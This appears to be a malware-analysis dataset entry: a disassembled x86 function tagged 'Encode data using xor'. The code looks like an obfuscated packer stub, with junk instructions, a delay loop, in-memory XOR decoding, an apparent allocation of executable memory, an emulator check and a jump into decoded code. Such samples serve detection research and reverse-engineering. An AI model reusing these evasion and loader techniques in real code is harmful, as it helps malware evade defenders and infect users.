Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2059a4dc
mov esi, 0xeea03aa6
sub edx, 1
or edx, edx
popal
not esi
dec esi
mov eax, 0
mov edx, esi
mov ebx, edi
add edi, 0xa70b0bdd
inc ebx
mov ecx, edx
sub ebx, 0xc9969094
sub edi, ebx
mov esi, ecx
not ebx
inc ebx
inc eax
or edi, ebx
sub ebx, 1
add ebx, edi
cmp eax, 0x100ac99
jne 0xa789c8
not ebx
mov ebx, 0xc63967ba
dec edi
or esi, edx
and esi, esi
mov edx, 0xa78796
dec edi
sub ecx, eax
mov ebx, 0xa7898a
sub eax, 1
sub eax, 0x146f0ec1
mov edi, eax
mov esi, dword [edx]
sub eax, 0x798c8cc1
add edi, 0xafde9c31
and esi, 0xff
add eax, eax
inc ecx
xor dword [ebx], esi
sub eax, edi
add eax, ecx
inc ebx
mov eax, 0xf9d378dc
sub edi, 0x79ea3aca
inc edx
mov edi, ecx
add ecx, 1
cmp ebx, entry0
jl 0xa78a20
and edi, ecx
add edi, eax
not eax
sub edi, eax
sub eax, 0x88b1c548
dec ecx
and edx, edi
not edx
not ebx
mov esi, 0xa7898e
mov edx, edi
not ecx
mov esi, dword [esi]
mov ecx, 0x558715b3
add edi, edi
inc ecx
mov esi, dword [esi]
mov edi, 0xd7aca18e
dec edx
push esi
dec ecx
sub ecx, 1
sub edi, ecx
mov esi, 0xa7898a
inc edx
mov edi, 0xa40d00f0
mov esi, dword [esi]
sub ecx, 0x1870829c
not ebx
mov esi, dword [esi]
add edi, ebx
sub edx, 0x20c2676c
sub esp, 4
mov dword [esp], 0xa78992
or ecx, edi
or ebx, ebx
add ebx, ebx
call esi
dec edx
add edi, edi
dec edi
pop esi
add edx, 0xcd0f00bb
sub ecx, edi
inc ecx
push 0xa7899f
mov edi, 0xcdc838de
sub edi, ebx
add edx, 0x221c2a8d
push eax
sub ecx, ebx
and ecx, ecx
call esi
sub ecx, 0x4808dfdb
sub ebx, 0x3cf98467
push 0x40
mov ebx, edi
add edx, 0x7356df71
push 0x3000
and edx, ebx
and ebx, ecx
or edi, edi
push 0x200001d5
not edi
mov ecx, edi
inc edi
sub esp, 4
mov dword [esp], 0
sub edx, 0x369bda1
add edi, ebx
inc edx
call eax
inc edx
not ecx
add eax, 0x20000113
dec edx
or ebx, edx
mov esi, 0x64cafaad
and ebx, ecx
not edi
mov edx, 0x49a9a4bd
mov dword [eax], esi
add ecx, edx
or edx, ebx
or edx, ecx
mov esi, dword [eax]
sub edx, ecx
add edx, 0xa9d7ea62
mov ebx, edx
cmp esi, 0x64cafaad
je 0xa78b70
mov ecx, 0
mov ebx, dword [ecx]
mov edi, 0x6b8b14e
mov edi, 0x86ed497d
not edx
add edx, ebx
mov edx, 0x7680fa7c
sub ebx, 0xec3f2bb
dec edx
sub esi, 1
mov eax, section..reltc
inc edx
add esi, esi
mov esi, edx
mov edi, 0xa78795
mov esi, 0x1cad552c
dec esi
not esi
mov ebx, 0
sub edx, esi
dec esi
mov ecx, 0xa78796
and edx, edx
sub edx, 0x58304b25
lea ecx, [ebx + ecx]
inc edx
dec esi
mov ecx, dword [ecx]
mov edx, esi
sub edx, esi
sub edx, 0x8ab123bb
and ecx, 0xff
mov edx, 0xa51294b7
not edx
add ebx, 1
mov esi, 0x9b0d9fe5
add edx, 0xb29d7e6c
sub esi, edx
cmp ebx, 0x1f4
jne 0xa78bfa
mov ebx, 0
not esi
mov esi, edx
add esi, esi
sub edx, esi
xor dword [eax], ecx
mov edx, esi
add esi, esi
mov edx, 0x52a5c378
add eax, 2
add edx, 0x99e790a
not esi
cmp eax, edi
jl 0xa78baf
mov edx, 0x9c9f5761
dec esi
and edx, edx
add edx, edx
mov ecx, section..reltc
and eax, ebx
inc ebx
mov esi, section..reltc
or eax, eax
mov eax, 0x3264009f
mov edi, 0xa78795
or ebx, eax
or ebx, eax
mov edx, 0
add eax, 0x1b3bb5d0
sub eax, ebx
inc eax
mov dl, byte [esi]
and ebx, ebx
mov ebx, eax
mov byte [ecx], dl
mov eax, ebx
inc ebx
inc ecx
add ebx, 1
mov eax, ebx
add esi, 2
add ebx, eax
add ebx, 1
not eax
cmp esi, edi
jle 0xa78c58
add eax, ebx
add ebx, 0x6a9ef696
or edx, esi
sub esi, 0xe54f0b29
mov edx, 0xb6fabe8
sub esp, 4
mov dword [esp], 0x8dc6a0
sub esi, 0xafc73729
mov edx, 0x2c97fe30
ret